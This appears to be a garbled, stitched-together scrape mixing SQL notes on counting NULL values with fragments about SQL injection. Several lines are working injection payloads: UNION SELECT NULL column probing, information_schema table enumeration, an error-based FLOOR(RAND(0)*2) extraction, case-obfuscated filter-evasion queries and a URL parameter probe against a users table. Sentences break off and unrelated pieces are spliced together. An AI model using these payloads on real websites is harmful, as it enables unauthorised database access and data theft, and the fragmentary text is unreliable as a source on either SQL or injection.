SELECT count(*) FROM us WHERE a IS NULL UNION ALL SELECT count(*) FROM us WHERE a IS NOT NULL. Edited to have the full query, after
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
...Null,null,null,null,null,null,null,null,null,null,null,null,null,concat
1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
Note: A NULL value is different from a zero value or a field that contains spaces. A field with a NULL value is one that has been left blank during record creation!
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
In one of my MySQL queries, it can happen from time to time that in the results there is the one or the other NULL value, because the corresponding cell has not yet been added to
In order to count null values you can use the IS NULL operator, which returns 1 when the value null.